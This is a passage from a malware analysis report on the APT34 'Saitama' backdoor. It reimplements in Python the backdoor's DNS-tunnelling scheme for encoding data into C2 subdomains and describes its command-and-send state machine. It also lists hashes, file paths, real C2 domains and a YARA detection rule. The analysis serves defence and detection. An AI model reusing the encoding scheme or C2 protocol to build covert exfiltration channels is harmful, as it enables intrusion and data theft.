PadLeft(ConvertIntToDomain(i),3,CharsDomain[0]): DataSize = i break # pad and decode data Data = base64.b32decode(data.upper()+"="*(len(data)%8)) print("Seed :", Seed) print("AgentId :",AgentId) print("Domain Type :", DomainTypes[domaintype]) print("Size :",DataSize) print("Send Data :",Data[1::]) print(dict[Data[0]]) Seed : 6540 AgentId : 203 Domain Type : Send Size : 38 Send Data : b'We Are Brea' Not Compressed ## Receive and Send state ``` ----- The malware generate different subdomains constructed with the following steps: 1. Passed data = converted `SendByteIndex to char and pad it with the first char in` `CharDomain + converted` ``` ReceiveByteIndex to char and pad it with the first char in CharDomain + base32 encode of the resultData . ``` 2. Convert domaintype to character and + the converted `AgentId to character + data passed.` 3. Use the counter that was randomly generated as a seed to MersenneTwister to generate random numbers and return 36 random char and numbers. 4. Map step 1 output to the shuffled chars . 5. Convert seed ( counter ) to char and pad it with the first char in `CharCounter .` 6. Then append random domain form the 3 that exists `joexpediagroup.com,` `asiaworldremit.com,` `uber-` ``` asia.com ``` 7. Generated domain = step 4 output + step 5 output + step 6 output 8. The counter is increased if the malware was successfully connected to the generated domain . Then process data as seen in `Receive function and check if all the data was sent or their are more to send . and then it go` to `Send state or` `Receive state or` `Do state depends on the check made.` Let’s consider that there was data to be received after sending the first 12 bytes, so state will change from `Send to` ``` ReceiveandSend state . And here is how the domain will be generated: ``` ----- ``` AgentID = 203 SendAndReceive = 3 SendDataSize = 38 SendByteIndex = 12 ReceiveByteIndex = 0 val = SendDataSize - SendByteIndex; num = min(12, val); SendData = b'9We Are Breaking APT34 In This Report!' SendData = base64.b32encode(SendData[SendByteIndex:SendByteIndex+num]).replace(b"=",b"").lower().decode() data = PadLeft(ConvertIntToDomain(SendByteIndex),3,CharsDomain[0]) + PadLeft(ConvertIntToDomain(ReceiveByteIndex),3,CharsDomain[0]) + SendData shuffle = Shuffle(seed) domain = ConvertIntToDomain(SendAndReceive) + ConvertIntToDomain(AgentID) + data Domain = MapBaseSubdomainCharacters(domain, shuffle) + PadLeft(ConvertIntToCounter(seed),3,CharsCounter[0]) + "." print(Domain + " [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]") dgxmmammm11rfyvvmcgcgcavr6n6wgax. [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ] ## Final Recap ``` 1. Mutex created . 2. Machine States dictionary create which control the states transaction, and every state do different job . 3. Config initialized . 4. First state is `Begin and a command` `Start` changes state to `Alive .` 5. Try to call `FirstAlive untill it succeed or exceed maximum tries, set` `AgentId if succeed.` 6. `MainAlive is called and check if data will be received move to` `Receive state.` 7. `Receive state receive the command to be executed then move to` `Do state .` 8. `Do state will execute the specified command, and the result will be sent to the C2 so the malware will move to` `Send` state. 9. `Send state will send the result of the executed command, and check if there is more data that will be received, if` found and the data being sent wasn’t fully sent yet, the malware move to `ReceiveandSend state.` Saitama abuses the DNS protocol for its C2 communications. This is stealthier than other communication methods. Also uses techniques such as compression and long random sleep times to disguise malicious traffic in between legitimate traffic. ## IOCs Hashes: 1. Maldoc (Confirmation Receive Document.xls) : md5 : `C4F81486D10818E0BD4B9701DCAFC8A2` sha1 : `15A1B1EBF04870AAD7EA4BD7D0264F17057E9002` sha256 : `26884F872F4FAE13DA21FA2A24C24E963EE1EB66DA47E270246D6D9DC7204C2B` ssdeep : ``` 12288:NfjOjlJUDo0DcsUD65oNxWqUOsDmlYh5edDxcSjrUlCZiJxIlxSLaMpgA0DfZT5r:VOjlJKrqUKEIlxSLh0Djme ``` 2. update.exe (Saitama backdoor) : md5 : `79C7219BA38C5A1971A32B50E14D4A13` sha1 : `B39B3A778F0C257E58C0E7F851D10C707FBE2666` sha256 : `E0872958B8D3824089E5E1CFAB03D9D98D22B9BCB294463818D721380075A52D` imphash : `F34D5F2D4577ED6D9CEEC516C1F5A744` ssdeep : `768:bEj9FSWZxm3eJ38Etub7B/iGkIJywnYwVMwfJhVRVmHUFeP+SVL/mVW5iV7uVSxH:gaSLub7W8` ----- 3. Microsoft.Exchange.WebServices.dll: md5 : `F9A1B01E2D5C4CB2D632A74FCB7EC2DD` sha1 : `5A9B17A0510301725DCEAFFF026ECA872FB05579` sha256 : `7EBBEB2A25DA1B09A98E1A373C78486ED2C5A7F2A16EEC63E576C99EFE0C7A49` imphash : `DAE02F32A21E03CE65412F6E56942DAA` ssdeep : `12288:m/uKlFauqcCJ781wrckIE/9dCuyk05CGCIYzmA/VMmy5PJ+S:m/uKlFaFV8EdCuyk05CDdzPry5PJ1` 4. update.exe.config: md5 : `AFDC68F0B6CE87EBEF0FEC5565C80FD3` sha1 : `2641A3CC98AA84979BE68B675E26E5F94F059B57` sha256 : `09C19455F249514020A4075667B087B16EAAD440938F2D139399D21117879E60` ssdeep : ``` 3:JLWMNHU8LdgCQcIMOoIRuQVK/FNURAmIRMNHNQAolFNURAmIRMNHjFN5KWREBAWq:JiMVBd1IffVKNC7VNQAofC7VrpuAW4QA ``` Mutex : `726a06ad-475b-4bc6-8466-f08960595f1e` Files: 1. C:\Users\UserName\AppData\Local\MicrosoftUpdate\Microsoft.Exchange.WebServices.dll 2. C:\Users\UserName\AppData\Local\MicrosoftUpdate\update.exe.config 3. C:\Users\UserName\AppData\Local\MicrosoftUpdate\update.exe C2 Domains: 1. uber-asia.com 2. asiaworldremit.com 3. joexpediagroup.com ## Yara Rules ----- ``` g g { meta: Author = "X__Junior" Description = "APT34_Saitama_Agent Detection" strings: $GetRandomRange = {04 03 59 0A 02 28 ?? ?? ?? ?? 0B 03 6A 07 6E 06 6A 5D 58 69 2A} $random = {7E ?? ?? ?? ?? 0A 06 6F ?? ?? ?? ?? 0B 7E ?? ?? ?? ?? 0C 02 73 ?? ?? ?? ?? 0D 16 13 ?? 2B ?? 09 16 06 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 08 06 11 ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 06 11 ?? 17 6F 46 ?? ?? ?? 0A 11 ?? 17 58 13 ?? 11 ?? 07 32 ?? 08 2A } $MapBaseSubdomainCharacters = {7E ?? ?? ?? ?? 0A 16 0B 2B ?? 06 03 7E ?? ?? ?? ?? 02 07 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 07 17 58 0B 07 02 6F ?? ?? ?? ?? 32 ?? 06 2A} $s1 = "E:\\Saitama\\Saitama.Agent\\obj\\Release\\Saitama.Agent.pdb" ascii $s2 = "Saitama.Agent" ascii $s3 = "razupgnv2w01eos4t38h7yqidxmkljc6b9f5" wide $s4 = "joexpediagroup.com" wide $s5 = "asiaworldremit.com" wide $s6 = "uber-asia.com" wide $s7 = "Saitama.Agent.exe" ascii condition: uint16(0) == 0x5A4D and 3 of($s*) and $GetRandomRange and $random and $MapBaseSubdomainCharacters } ``` -----